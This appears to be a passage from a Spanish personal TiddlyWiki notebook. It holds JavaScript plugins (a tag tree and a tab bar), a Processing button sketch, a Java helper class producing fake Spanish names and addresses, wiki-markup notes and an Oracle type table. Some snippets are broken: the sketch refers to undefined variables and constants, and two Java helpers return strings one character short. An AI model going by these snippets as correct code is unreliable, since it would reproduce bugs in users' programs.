createTiddlyText(createTiddlyLink(wrapper, root),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
}
else
createTiddlyText(createTiddlyLink(place, root,false,"leaf"),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
}
if (childNodes.length && depth) {
var d = createTiddlyElement(place,"div",null,"subtree");
d.style.display= isOpen ? "block" : "none";
if (sortField)
childNodes.sort(function(a, b){
var fa=a.fields[sortField];
var fb=b.fields[sortField];
return (fa==undefined && fb==undefined) ? a.title < b.title ? -1 : a.title > b.title ? 1 : 0 : (fa==undefined && fb!=undefined) ? 1 :(fa!=undefined && fb==undefined) ? -1 : fa < fb ? -1 : fa > fb ? 1 : 0;
})
for (var cpt=0; cpt<childNodes.length; cpt++)
this.createSubTree(d, id, childNodes[cpt].title, excludeTag, ancestors.concat(root), level-1, depth-1, sortField, labelField, showButtons);
}
}
config.macros.tagsTree.onClick = function(e){
var id = this.getAttribute("treeId");
var tiddler = this.getAttribute("tiddler");
var n = this.parentNode.nextSibling;
var isOpen = n.style.display != "none";
if(config.options.chkAnimate && anim && typeof Slider == "function")
anim.startAnimating(new Slider(n,!isOpen,null,"none"));
else
n.style.display = isOpen ? "none" : "block";
this.firstChild.nodeValue = isOpen ? config.macros.tagsTree.expand : config.macros.tagsTree.collapse;
config.macros.tagsTree.trees[id][tiddler]=!isOpen;
return false;
}
config.macros.tagsTree.getChildNodes = function(root ,ancestors){
var childs = store.getTaggedTiddlers(root);
var result = new Array();
for (var cpt=0; cpt<childs.length; cpt++)
if (childs[cpt].title!=root && ancestors.indexOf(childs[cpt].title)==-1) result.push(childs[cpt]);
return result;
}
config.macros.tagsTree.getRootTags = function(excludeTag){
var tags = store.getTags(excludeTag);
tags.sort(function(a,b) {return a[0].toLowerCase() < b[0].toLowerCase() ? -1 : (a[0].toLowerCase() == b[0].toLowerCase() ? 0 : +1);});
var result = new Array();
for (var cpt=0; cpt<tags.length; cpt++) {
var t = store.getTiddler(tags[cpt][0]);
if (!t || t.tags.length==0) result.push(t ? t : {title:tags[cpt][0],fields:{}});
}
return result;
}
config.macros.tagsTree.getId = function(element){
while (!element.id && element.parentNode) element=element.parentNode;
return element.id ? element.id : "<html>";
}
config.shadowTiddlers.TagsTreeStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".leaf, .subtree {display:block; margin-left : 0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".subtree {margin-bottom:0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="#mainMenu {text-align:left}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".branch .button {border:1px solid #DDD; color:#AAA;font-size:9px;padding:0 2px;margin-right:0.3em;vertical-align:middle;text-align:center;}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="/*}}}*/";
store.addNotification("TagsTreeStyleSheet", refreshStyles);
config.shadowTiddlers.MainMenu="<<tagsTree>>"
config.shadowTiddlers.PageTemplate = config.shadowTiddlers.PageTemplate.replace(/id='mainMenu' refresh='content' /,"id='mainMenu' refresh='content' force='true' ")
//}}}
/***
Description
<<Processing>>
***/
//{{{
/*
*Global variables
*/
int s = 300; //300 pixels
color fgColor = color(255); //white
color fillColor = color(126, 126, 255); //light blue
color bgColor = color(102); //medium-dark gray
int thickness = 2; //2 pixel's lines
//TestButton
RectButton b1;
/*
* Initialization function
*/
void setup() {
//Canvas size
size(s, s);
//Canvas color
background(bgColor);
//Framerate
frameRate(20);
b1 = new RectButton("Pulsame", 10, 10, 50, 20);
}
/*
* Called each clock tick
*/
void draw() {
//Set the foreground color
stroke(fgColor);
//Set the fill color
fill(fillColor);
//Set the thickness of lines
strokeWeight(thickness);
b1.drawButton();
}
class RectButton
{
int STATE_NORMAL = 0;
int STATE_PRESSED = 1;
int STATE_HOVER = 2;
int posX, posY, w, h, thickness, state;
String text;
color fgColor, bgColor, normalColor, hoverColor, pressedColor;
RectButton(String buttonText, int x, int y, int wi, int he)
{
text = buttonText;
posX = x;
posY = y;
w = wi;
h = he;
thickness = 1;
fgColor = color(0);
normalColor = color(255);
hoverColor = color(200);
pressedColor = color(100);
state = STATE_NORMAL;
bgColor = normalColor;
}
void drawButton()
{
checkState();
stroke(fgColor);
switch(state){
case STATE_NORMAL:
bgColor = normalColor;
break;
case STATE_PRESSED:
bgColor = pressedColor;
break;
case STATE_HOVER:
bgColor = hoverColor;
break;
}
fill(bgColor);
strokeWeight(thickness);
stroke(bgColor);
rect(posX, posY, w, h);
}
void checkState()
{
int lastState = state;
if (mouseX >= x && mouseY >= y && mouseX <= x+w && mouseY <= y+h) {
if (mousePressed == true){
state = STATE_PRESSED;
} else {
state = STATE_HOVERED;
}
} else {
state = STATE_NORMAL;
}
}
}
//}}}
Clase para pruebas
{{{
public class TestUtil
{
public final static String[] HOMBRES_HOMBRE = {"Juan", "Mariano", "Bartolomé", "Eusebio", "Lucas", "Pepe", "Aurelio", "Julián", "Agapito", "Wenceslao"};
public final static String[] NOMBRES_MUJER = {"Antonia", "María", "Eugenia", "Penélope", "Filomena", "Paca", "María Dolores", "Eulalia", "Herminia", "Canuta"};
public final static String[] NOMBRES = {"Juan", "Mariano", "Bartolomé", "Eusebio", "Lucas", "Pepe", "Aurelio", "Julián", "Agapito", "Wenceslao", "Antonia", "María", "Eugenia", "Penélope", "Filomena", "Paca", "María Dolores", "Eulalia", "Herminia", "Canuta"};
public final static String[] APELLIDOS = {"Gomez", "Jimenez", "Sanchez", "Plá", "del Canal", "Martín", "Soriano", "Carretero", "Plana", "Ibañez", "Castañar", "del Castillo", "Llano", "Escobar", "Ruiz"};
public final static String[] NOMBRE_VIA = {"Ancha", "del Palancar", "Zaragoza", "del Pepino", "Falsa", "del Olvido", "del Canal Imperial", "Osca", "de la Feria de Muestras", "Larga", "Alan Mathison Turing", "Ada Byron", "Charles Babbage", "Andrew S. Tanenbaum", "Edsger Dijkstra"};
public final static String[] TIPO_VIA = {"calle", "callejón", "avenida", "carretera"};
public final static String[] LETRAS = {"A", "B", "C", "E", "F", "G", "H"};
public final static String[] DNI_TERCEROS = {"11111111H", "22222222J", "33333333P"};
public final static String[] DNI = {"11111111H", "22222222J", "33333333P"};
public final static char[] ALFANUMERICO = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
public final static Character[] BOOLEAN_CHARACTER = {new Character('S'), new Character('N')};
public final static String[] TEXTO = {
"Lorem ipsum mel eros cotidieque concludaturque ea. Ei mea doctus accusamus. Eu duo vocibus facilis definiebas. Et eum corpora percipitur efficiendi, ius minim adolescens eloquentiam no, id epicuri legendos pri. In mei affert euismod, vel laudem adversarium ea.",
"In vim affert putant. At eam impedit dignissim honestatis. Dico omnis deseruisse ius ei, qui et nisl prodesset voluptatibus. An sea utroque gubergren.",
"Ornatus vivendo nostrum ea sea, vis ei idque dolore, sed ne diam scribentur. Populo omnesque euripidis vim id, cum eu oporteat liberavisse. Ius eu fabulas pertinax laboramus, ea tota vocent adipiscing vel. Qui cu brute vidisse, integre iracundia pri no. Animal propriae cu nam. Nam commodo feugait an, per no vocent debitis.",
"Ponderum apeirian his cu, tractatos iudicabit assueverit cum cu, sanctus invidunt ne mel. Ius soluta sadipscing conclusionemque ad, vel dictas iriure accommodare ei. Nonummy vivendum ea quo. Duo eu libris ponderum gloriatur, reque everti mediocrem ius ut, ex nemore mentitum nam. Sea accusam phaedrum scribentur ea, at laoreet conclusionemque nam.",
"Eos in dolorem delectus oportere, everti iisque corrumpit ex pri. Mel ut cibo solum novum, nobis solet facilisis sit in. Wisi efficiantur in eam, gubergren similique eu usu. Ex vel possit maiorum democritum.",
"Has puto timeam eu, iudico altera fabulas his ne. Te ancillae necessitatibus vim, quod minim verterem ex sea. Convenire sententiae adipiscing ex sea, ius falli equidem splendide ex. Id usu putant inermis epicurei, at wisi voluptua elaboraret usu, at has illud persequeris.",
"Quo cetero eripuit expetenda an, amet velit putent in qui. Laudem numquam nusquam pri an, id ius legendos adolescens. No his tale quodsi referrentur. Vim altera sensibus quaerendum et, adhuc temporibus conclusionemque mel ea. At vim saperet accusam assentior, debet veritus ne per, ut mel dicam urbanitas. Vix amet quidam recteque te, utroque contentiones nam an, percipit cotidieque referrentur usu ea. Eum et malorum noluisse probatus, est ad consul animal.",
"Nec kasd augue pertinax te. Eos ornatus alienum accommodare te, an causae vituperata his. Ut pri detracto lucilius partiendo. Ad suas imperdiet pro. Elit principes voluptaria ea sed, errem intellegat percipitur vim ei. Est cu soleat mollis percipit, aliquip mediocrem in cum. Alia invenire comprehensam ne vel, ei pro quaestio maiestatis.",
"Ius te enim saperet consequat. Eos dicam accusamus adipiscing ut, eu nec eripuit epicuri, sit sale populo consulatu id. Aperiam evertitur scriptorem nam ad. Inani commodo vulputate pro no, et qui veritus sapientem rationibus. Vim affert impedit ea, te ignota argumentum cum, ne equidem perfecto sit. Rebum constituto ut eum.",
"Homero graecis patrioque ex cum, his ne eirmod dolores singulis, ius paulo aperiri no. Per brute dolore neglegentur te, in virtute similique mea, dicunt iuvaret quaestio est ad. Pri sint oratio mucius in. Te ocurreret maluisset appellantur sea, ius persius gloriatur ex. Phaedrum reprimique vis in, in detraxit assentior per.",
"Paternoster conferentias duo in, language promotores publication del lo. Comprende incorporate uso tu, uso le unic denomination. Web tote auxiliar o, per romanic integre essentialmente ha, del tentation independente il. O con union involvite. Libera americas per un.",
"Ma celo contos sed. Tu uno scientia auxiliary, le uno vista contos. Le con usos svedese grammatica, qualcunque hereditage nos le. Web tamben origine promotores un. In vide giuseppe distinguer per.",
"Unic medical il nos. Sia lo appellate traduction linguistic, non il pote union synonymo. Con un movimento instruction, asia lista europee lo pan. Secundo appellate que ma. Maximo libere se sia, del libro sanctificate interlinguistica es, con il ille specimen tentation.",
"Sed e vide summario. Anque principalmente un nos. Nos major hodie language il. Un duo origine summario, sed duce magazines tu.",
"Se sed inter computator, europa europeo demonstrate uno es. Nos lo denominator independente, nos instituto primarimente se. Inter magazines preparation in qui, se vide texto regula duo. Uso summario millennios le, moderne capital anglo-romanic le non. Non un rapide romanic original, il debitas sanctificate qui.",
"Nos al pote parola specimen. Uso appellate independente e. Technic linguage sia es. Su existe movimento web, e que altere original. Il vostre contos del, nos e scientia summarios vocabulario. Intermediari immediatemente que e. Al capital debitas hereditage uso, duo o origine scriber promotores.",
"Inviar summario americas qui es, al qui sine post presenta. Lo inter origine non, del es union publicate comprende, terra vostre connectiones ma con. Unic union vices del le. De web libera scientific, e per summario resultato incorporate.",
"Inviar conferentias sia ma. Per signo vocabulos voluntate al, del da membros publicate. Servi latino web ha, e servi mundial programma sia, non multo mundial ma. Parola instruction simplificate e uno, non esser millennios anteriormente se. In technic mundial uso. Como maximo methodicamente da pan, ha language publicava sed.",
"Es web europee registrate. Esser active westeuropee uno es, abstracte interlingua concretisation da per. Qui ample rapide interlinguistica de, laborava litteratura denominator pro su, excellente independente que ma. Su tote maximo non.",
"Europeo anglo-romanic uso le, peano africa commun uno un. Lo via subjecto initialmente, complete sanctificate es pan, ultra active religion sia se. Ascoltar incorporate connectiones web su. Sia ha finalmente supervivite, parolas specimen e duo, in iste tempore quotidian non. Sed internet interlingua ma. Web de tote integre language, qui duce prime infra ma.",
//pangramas
"El veloz murciélago hindú comía feliz cardillo y kiwi. La cigüeña tocaba el saxofón detrás del palenque de paja.",
"Fabio me exige, sin tapujos, que añada cerveza al whisky",
"jovencito emponzoñado de whisky, qué figurota exhibe",
"Franz jagt im komplett verwahrlosten Taxi quer durch Bayern",
"Törkylempijä vongahdus",
"Portez ce whisky au vieux juge blond qui fume",
"Jackdaws love my big sphinx of quartz",
"The quick brown fox jumps over the lazy dog",
"Ma la volpe col suo balzo ha raggiunto il quieto Fido",
"Gaza frecuens Lybicum duxit Karthago triumphum",
"Um pequeno jabuti xereta viu dez cegonhas felizes",
"Zebras caolhas de Java querem mandar fax para gigante em New York",
"Flygande bäckasiner söka hwila på mjuka tuvor"
};
/**
* Obtiene un nombre masculino al azar
* @return
*/
public static String getNombreH()
{
return (String)getRandomFromArray(HOMBRES_HOMBRE);
}
/**
* Obtiene un nombre femenino al azar
* @return
*/
public static String getNombreM()
{
return (String)getRandomFromArray(NOMBRES_MUJER);
}
/**
* Obtiene un nombre masculino o femenino al azar
* @return
*/
public static String getNombre()
{
return (String)getRandomFromArray(NOMBRES);
}
/**
* Obtiene un apellido al azar
* @return
*/
public static String getApellido()
{
return (String)getRandomFromArray(APELLIDOS);
}
/**
* Obtiene un nombre y apellidos al azar
* @return
*/
public static String getNombreCompleto()
{
return getNombre()+" "+getApellido()+" "+getApellido();
}
/**
* Obtiene un nombre de vía al azar
* @return
*/
public static String getNombreVia()
{
return (String)getRandomFromArray(NOMBRE_VIA);
}
/**
* Obtiene un tipo de vía al azar
* @return
*/
public static String getTipoVia()
{
return (String)getRandomFromArray(TIPO_VIA);
}
/**
* Obtiene un nombre de vía completo. Por ejemplo "calle Ancha" o "avenida Zaragoza"
* @return
*/
public static String getNombreViaCompleto()
{
return getTipoVia()+" "+getNombreVia();
}
/**
* Obtiene una letra de portal al azar.
* @return
*/
public static String getLetra()
{
return (String)getRandomFromArray(LETRAS);
}
/**
* Obtiene la dirección de un domicilio generada al azar
* @return
*/
public static String getDireccion()
{
int numero = (int)Math.round(Math.floor(Math.random()*98))+1;
int piso = (int)Math.round(Math.floor(Math.random()*6))+1;
String letra = getLetra();
return getNombreViaCompleto()+", "+numero+", "+piso+"º "+letra;
}
/**
* Obtiene un número de teléfono al azar que empieze por el indicado
* @param primerDigito
* @return
*/
public static String getNumTelefono(int primerDigito)
{
StringBuffer num = new StringBuffer(""+primerDigito);
for (int i = 0; i < 8; i++)
{
num.append((int)Math.round(Math.floor(Math.random()*10)));
}
return num.toString();
}
/**
* Obtiene un texto al azar
* @return
*/
public static String getTexto()
{
return (String)getRandomFromArray(TEXTO);
}
/**
* Obtiene un texto al azar de la longitud indicada
* @return
*/
public static String getTexto(int longitud)
{
StringBuffer aux = new StringBuffer(((String)getRandomFromArray(TEXTO)));
while (aux.length() < longitud) {
aux.append(" "+getRandomFromArray(TEXTO));
}
return aux.substring(0, longitud-1);
}
public static String getCodigoAlfanumerico(int longitud)
{
StringBuffer aux = new StringBuffer(longitud);
for (int i = 0; i < longitud; i++) {
aux.append(getRandomAlfanumerico());
}
return aux.toString().substring(0, longitud-1);
}
/**
* Obtiene un objeto en una posición al azar dentro de un array
* @param array
* @return
*/
public static Object getRandomFromArray(Object[] array)
{
int index = (int)Math.round(Math.floor(Math.random()*array.length));
return array[index];
}
/**
* Obtiene un número aleatorio entre los indicados
* @param min Mínimo
* @param max Máximo
* @return
*/
public static long getRandomNumber(long min, long max)
{
return Math.round(Math.floor(Math.random()*(max - min)+min));
}
/**
* Obtiene un caracter alfanumerico
* @param min Mínimo
* @param max Máximo
* @return
*/
public static long getRandomAlfanumerico()
{
int index = (int)getRandomNumber(0, ALFANUMERICO.length-1);
return ALFANUMERICO[index];
}
}
}}}
/***
|''Name:''|TiddlersBarPlugin|
|''Description:''|A bar to switch between tiddlers through tabs (like browser tabs bar).|
|''Version:''|1.2.5|
|''Date:''|Jan 18,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0, others|
!Demos
On [[homepage|http://visualtw.ouvaton.org/VisualTW.html]], open several tiddlers to use the tabs bar.
!Installation
#import this tiddler from [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] (tagged as systemConfig)
#save and reload
#''if you're using a custom [[PageTemplate]]'', add {{{<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>}}} before {{{<div id='tiddlerDisplay'></div>}}}
#optionally, adjust StyleSheetTiddlersBar
!Tips
*Doubleclick on the tiddlers bar (where there is no tab) create a new tiddler.
*Tabs include a button to close {{{x}}} or save {{{!}}} their tiddler.
*By default, click on the current tab close all others tiddlers.
!Configuration options
<<option chkDisableTabsBar>> Disable the tabs bar (to print, by example).
<<option chkHideTabsBarWhenSingleTab >> Automatically hide the tabs bar when only one tiddler is displayed.
<<option txtSelectedTiddlerTabButton>> ''selected'' tab command button.
<<option txtPreviousTabKey>> previous tab access key.
<<option txtNextTabKey>> next tab access key.
!Code
***/
//{{{
config.options.chkDisableTabsBar = config.options.chkDisableTabsBar ? config.options.chkDisableTabsBar : false;
config.options.chkHideTabsBarWhenSingleTab = config.options.chkHideTabsBarWhenSingleTab ? config.options.chkHideTabsBarWhenSingleTab : false;
config.options.txtSelectedTiddlerTabButton = config.options.txtSelectedTiddlerTabButton ? config.options.txtSelectedTiddlerTabButton : "closeOthers";
config.options.txtPreviousTabKey = config.options.txtPreviousTabKey ? config.options.txtPreviousTabKey : "";
config.options.txtNextTabKey = config.options.txtNextTabKey ? config.options.txtNextTabKey : "";
config.macros.tiddlersBar = {
tooltip : "see ",
tooltipClose : "click here to close this tab",
tooltipSave : "click here to save this tab",
promptRename : "Enter tiddler new name",
currentTiddler : "",
previousState : false,
previousKey : config.options.txtPreviousTabKey,
nextKey : config.options.txtNextTabKey,
tabsAnimationSource : null, //use document.getElementById("tiddlerDisplay") if you need animation on tab switching.
handler: function(place,macroName,params) {
var previous = null;
if (config.macros.tiddlersBar.isShown())
story.forEachTiddler(function(title,e){
if (title==config.macros.tiddlersBar.currentTiddler){
var d = createTiddlyElement(null,"span",null,"tab tabSelected");
config.macros.tiddlersBar.createActiveTabButton(d,title);
if (previous && config.macros.tiddlersBar.previousKey) previous.setAttribute("accessKey",config.macros.tiddlersBar.nextKey);
previous = "active";
}
else {
var d = createTiddlyElement(place,"span",null,"tab tabUnselected");
var btn = createTiddlyButton(d,title,config.macros.tiddlersBar.tooltip + title,config.macros.tiddlersBar.onSelectTab);
btn.setAttribute("tiddler", title);
if (previous=="active" && config.macros.tiddlersBar.nextKey) btn.setAttribute("accessKey",config.macros.tiddlersBar.previousKey);
previous=btn;
}
var isDirty =story.isDirty(title);
var c = createTiddlyButton(d,isDirty ?"!":"x",isDirty?config.macros.tiddlersBar.tooltipSave:config.macros.tiddlersBar.tooltipClose, isDirty ? config.macros.tiddlersBar.onTabSave : config.macros.tiddlersBar.onTabClose,"tabButton");
c.setAttribute("tiddler", title);
if (place.childNodes) {
place.insertBefore(document.createTextNode(" "),place.firstChild); // to allow break line here when many tiddlers are open
place.insertBefore(d,place.firstChild);
}
else place.appendChild(d);
})
},
refresh: function(place,params){
removeChildren(place);
config.macros.tiddlersBar.handler(place,"tiddlersBar",params);
if (config.macros.tiddlersBar.previousState!=config.macros.tiddlersBar.isShown()) {
story.refreshAllTiddlers();
if (config.macros.tiddlersBar.previousState) story.forEachTiddler(function(t,e){e.style.display="";});
config.macros.tiddlersBar.previousState = !config.macros.tiddlersBar.previousState;
}
},
isShown : function(){
if (config.options.chkDisableTabsBar) return false;
if (!config.options.chkHideTabsBarWhenSingleTab) return true;
var cpt=0;
story.forEachTiddler(function(){cpt++});
return (cpt>1);
},
selectNextTab : function(){ //used when the current tab is closed (to select another tab)
var previous="";
story.forEachTiddler(function(title){
if (!config.macros.tiddlersBar.currentTiddler) {
story.displayTiddler(null,title);
return;
}
if (title==config.macros.tiddlersBar.currentTiddler) {
if (previous) {
story.displayTiddler(null,previous);
return;
}
else config.macros.tiddlersBar.currentTiddler=""; // so next tab will be selected
}
else previous=title;
});
},
onSelectTab : function(e){
var t = this.getAttribute("tiddler");
if (t) story.displayTiddler(null,t);
return false;
},
onTabClose : function(e){
var t = this.getAttribute("tiddler");
if (t) {
if(story.hasChanges(t) && !readOnly) {
if(!confirm(config.commands.cancelTiddler.warning.format([t])))
return false;
}
story.closeTiddler(t);
}
return false;
},
onTabSave : function(e) {
var t = this.getAttribute("tiddler");
if (!e) e=window.event;
if (t) config.commands.saveTiddler.handler(e,null,t);
return false;
},
onSelectedTabButtonClick : function(event,src,title) {
var t = this.getAttribute("tiddler");
if (!event) event=window.event;
if (t && config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton])
config.commands[config.options.txtSelectedTiddlerTabButton].handler(event, src, t);
return false;
},
onTiddlersBarAction: function(event) {
var source = event.target ? event.target.id : event.srcElement.id; // FF uses target and IE uses srcElement;
if (source=="tiddlersBar") story.displayTiddler(null,'New Tiddler',DEFAULT_EDIT_TEMPLATE,false,null,null);
},
createActiveTabButton : function(place,title) {
if (config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton]) {
var btn = createTiddlyButton(place, title, config.commands[config.options.txtSelectedTiddlerTabButton].tooltip ,config.macros.tiddlersBar.onSelectedTabButtonClick);
btn.setAttribute("tiddler", title);
}
else
createTiddlyText(place,title);
}
}
story.coreCloseTiddler = story.coreCloseTiddler? story.coreCloseTiddler : story.closeTiddler;
story.coreDisplayTiddler = story.coreDisplayTiddler ? story.coreDisplayTiddler : story.displayTiddler;
story.closeTiddler = function(title,animate,unused) {
if (title==config.macros.tiddlersBar.currentTiddler)
config.macros.tiddlersBar.selectNextTab();
story.coreCloseTiddler(title,false,unused); //disable animation to get it closed before calling tiddlersBar.refresh
var e=document.getElementById("tiddlersBar");
if (e) config.macros.tiddlersBar.refresh(e,null);
}
story.displayTiddler = function(srcElement,tiddler,template,animate,unused,customFields,toggle){
story.coreDisplayTiddler(config.macros.tiddlersBar.tabsAnimationSource,tiddler,template,animate,unused,customFields,toggle);
var title = (tiddler instanceof Tiddler)? tiddler.title : tiddler;
if (config.macros.tiddlersBar.isShown()) {
story.forEachTiddler(function(t,e){
if (t!=title) e.style.display="none";
else e.style.display="";
})
config.macros.tiddlersBar.currentTiddler=title;
}
var e=document.getElementById("tiddlersBar");
if (e) config.macros.tiddlersBar.refresh(e,null);
}
var coreRefreshPageTemplate = coreRefreshPageTemplate ? coreRefreshPageTemplate : refreshPageTemplate;
refreshPageTemplate = function(title) {
coreRefreshPageTemplate(title);
if (config.macros.tiddlersBar) config.macros.tiddlersBar.refresh(document.getElementById("tiddlersBar"));
}
ensureVisible=function (e) {return 0} //disable bottom scrolling (not useful now)
config.shadowTiddlers.StyleSheetTiddlersBar = "/*{{{*/\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .button {border:0}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .tab {white-space:nowrap}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar {padding : 1em 0.5em 2px 0.5em}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tabUnselected .tabButton, .tabSelected .tabButton {padding : 0 2px 0 2px; margin: 0 0 0 4px;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tiddler, .tabContents {border:1px [[ColorPalette::TertiaryPale]] solid;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar +="/*}}}*/";
store.addNotification("StyleSheetTiddlersBar", refreshStyles);
config.refreshers.none = function(){return true;}
config.shadowTiddlers.PageTemplate=config.shadowTiddlers.PageTemplate.replace(/<div id='tiddlerDisplay'><\/div>/m,"<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>\n<div id='tiddlerDisplay'></div>");
//}}}
!Descripción
Apuntes sobre [[TiddlyWiki|http://www.tiddlywiki.com]]
!Apuntes rápidos
*
!Páginas interesantes
* ''Documentación:''
** http://tiddlywiki.com
** http://tiddlywiki.org
** http://www.w3.org/2008/security-ws/papers/osmosoft.html
** http://osmosoft.com/~psd/TiddlyWikiDeviceAccess/
* ''Plugins:''
** http://tiddlyvault.tiddlyspot.com/
** http://tiddlywiki.abego-software.de/
** http://sidebarpluginvault.tiddlyspot.com/
** http://www.tiddlytools.com/
** http://tw.lewcid.org
** http://visualtw.ouvaton.org/VisualTW.html
** http://processing.tiddlyspot.com/
** http://www.math.ist.utl.pt/~psoares/MathSVG.html
* ''Trucos y guías:''
** http://tiddlywikiguides.org/index.php?title=Getting_started_with_custom_tiddler_fields
** http://softwareas.com/reflections-from-a-tiddlywiki-tiddler-and-thoughts-on-a-guide-for-web-app-development-with-tiddlywiki
* ''Charlas, comentarios y presentaciones:''
** http://blog.whatfettle.com/2008/05/11/tiddlyprocessing/
!Pendiente de investigar
* http://whatfettle.com/2008/05/TiddlyProcessing/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
//Más información en [[ReferenciaTiddlyWiki]]//
!Inline Formatting
|!Option|!Syntax|!Output|
|bold font|{{{''bold''}}}|''bold''|
|italic type|{{{//italic//}}}|//italic//|
|underlined text|{{{__underlined__}}}|__underlined__|
|strikethrough text|{{{--strikethrough--}}}|--strikethrough--|
|superscript text|{{{^^super^^script}}}|^^super^^script|
|subscript text|{{{~~sub~~script}}}|~~sub~~script|
|highlighted text|{{{@@highlighted@@}}}|@@highlighted@@|
|preformatted text|<html><code>{{{preformatted}}}</code></html>|{{{preformatted}}}|
!Block Elements
!!Headings
{{{
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
}}}
<<<
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
<<<
!!Lists
{{{
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3
# ordered list, level 1
## ordered list, level 2
### unordered list, level 3
; definition list, term
: definition list, description
}}}
<<<
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3
# ordered list, level 1
## ordered list, level 2
### unordered list, level 3
; definition list, term
: definition list, description
<<<
!!Blockquotes
{{{
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3
<<<
blockquote
<<<
}}}
<<<
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3
> blockquote
<<<
!!Preformatted Text
<html><pre>
{{{
preformatted (e.g. code)
}}}
</pre></html>
<<<
{{{
preformatted (e.g. code)
}}}
<<<
!!Tables
{{{
|CssClass|k
|!heading column 1|!heading column 2|
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
}}}
''Annotation:''
* The {{{>}}} marker creates a "colspan", causing the current cell to merge with the one to the right.
* The {{{~}}} marker creates a "rowspan", causing the current cell to merge with the one above.
<<<
|CssClass|k
|!heading column 1|!heading column 2|
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
<<<
!!Images /% TODO %/
cf. [[TiddlyWiki.com|http://www.tiddlywiki.com/#EmbeddedImages]]
!Hyperlinks
* [[WikiWords|WikiWord]] are automatically transformed to hyperlinks to the respective tiddler
** the automatic transformation can be suppressed by preceding the respective WikiWord with a tilde ({{{~}}}): {{{~WikiWord}}}
* [[PrettyLinks]] are enclosed in square brackets and contain the desired tiddler name: {{{[[tiddler name]]}}}
** optionally, a custom title or description can be added, separated by a pipe character ({{{|}}}): {{{[[title|target]]}}}<br>'''N.B.:''' In this case, the target can also be any website (i.e. URL).
!Custom Styling
* {{{@@CssProperty:value;CssProperty:value;…@@}}}<br>''N.B.:'' CSS color definitions should use lowercase letters to prevent the inadvertent creation of WikiWords.
* <html><code>{{customCssClass{…}}}</code></html>
* raw HTML can be inserted by enclosing the respective code in HTML tags: {{{<html> … </html>}}}
!Special Markers
* {{{<br>}}} forces a manual line break
* {{{----}}} creates a horizontal ruler
* [[HTML entities|http://www.tiddlywiki.com/#HtmlEntities]]
* {{{<<macroName>>}}} calls the respective [[macro|Macros]]
* To hide text within a tiddler so that it is not displayed, it can be wrapped in {{{/%}}} and {{{%/}}}.<br/>This can be a useful trick for hiding drafts or annotating complex markup.
* To prevent wiki markup from taking effect for a particular section, that section can be enclosed in three double quotes: e.g. {{{"""WikiWord"""}}}.
|!Tipo de dato / Sintáxis|!Oracle 8i|!Oracle 9i|!Descripción|h
|''dec(p, e)''|La precisión máxima es de 38 dígitos.|La precisión máxima es de 38 dígitos.|Donde ''p'' es la precisión y ''e'' la escala. ''Por ejemplo:'' dec(3,1) es un número que tiene 2 dígitos antes del decimal y un dígito después del decimal.|
|''decimal(p, e)''|La precisión máxima es de 38 dígitos.|La precisión máxima es de 38 dígitos.|Donde ''p'' es la precisión y ''e'' la escala. ''Por ejemplo:'' decimal(3,1) es un número que tiene 2 dígitos antes del decimal y un dígito después del decimal.|
|''double precision''||||
|''float''||||
|''int''||||
|''integer''||||
